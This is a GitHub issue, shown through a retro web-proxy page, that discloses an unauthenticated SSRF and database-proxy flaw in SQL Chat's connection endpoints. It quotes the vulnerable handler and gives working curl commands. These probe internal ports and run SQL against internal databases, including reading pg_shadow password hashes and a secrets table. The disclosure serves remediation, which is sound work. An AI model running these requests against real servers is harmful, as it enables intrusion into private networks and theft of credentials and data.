GeezerVisonThe World Wide Web, restored to 800 pixels of glory. |
| Home|About|Gaming cabinet|Archives|How it works|Starter sites |
GeezerVison is showing github.com — Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal network · Issue #189 · sqlchat/sqlchat Open Labels bugSomething isn't workingSomething isn't working DescriptionDescribe the bugSummarySQL Chat's database endpoints ( Details
// POST /api/connection/execute // req body: { connection: Connection, db: string, statement: string } const handler = async (req: NextApiRequest, res: NextApiResponse) => { if (req.method !== "POST") return res.status(405).json(false); let connection = req.body.connection as Connection; // attacker-controlled host/port/user/pass if (connection.engineType === Engine.TiDB) connection = changeTiDBConnectionToMySQL(connection); const db = req.body.db as string; const statement = req.body.statement as string; const connector = newConnector(connection); // builds a real DB connector to that host const result = await connector.execute(db, statement); // connects + runs the SQL server-side res.status(200).json({ data: result }); // returns rows to the caller }; export default handler;
To reproducePrerequisites: network reach to a SQL Chat instance at Port-scan / reachability oracle for an internal host (test connection): TARGET=http://victim-sqlchat:3000 curl -s -X POST "$TARGET/api/connection/test" -H 'Content-Type: application/json' \ -d '{"connection":{"engineType":"POSTGRESQL","host":"10.0.0.5","port":"5432","username":"x","password":"x"}}' # fast auth-error vs slow timeout vs connection-refused distinguishes open internal DB ports Read an internal database the server can reach (full query readback), e.g. an internal Postgres with trust auth or known creds: curl -s -X POST "$TARGET/api/connection/execute" -H 'Content-Type: application/json' \ -d '{ "connection":{"engineType":"POSTGRESQL","host":"internal-pg.svc","port":"5432","username":"postgres","password":"postgres"}, "db":"app", "statement":"SELECT usename, passwd FROM pg_shadow; SELECT * FROM secrets LIMIT 50;" }' # -> {"data": [...rows from the internal database...]} The SQL Chat server connects from inside its network to Additional contextImpactAny unauthenticated attacker who can reach the SQL Chat server can use it as an SSRF pivot and database-connection proxy into the network where the server runs: enumerate internal hosts/ports, and run arbitrary SQL (read and write) against any database the server can reach, returning full results. On a self-hosted instance deployed on a corporate/cloud network this exposes internal databases and services that are not otherwise reachable by the attacker; on a multi-tenant hosted deployment it exposes the provider's internal network. Fix: require authentication on all ActivityMetadataMetadataAssigneesLabelsbugSomething isn't workingSomething isn't working TypeProjectsMilestoneRelationshipsDevelopmentIssue actions |
| You are visitor 01402503 — GeezerVison does not store the pages you look up. Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required. |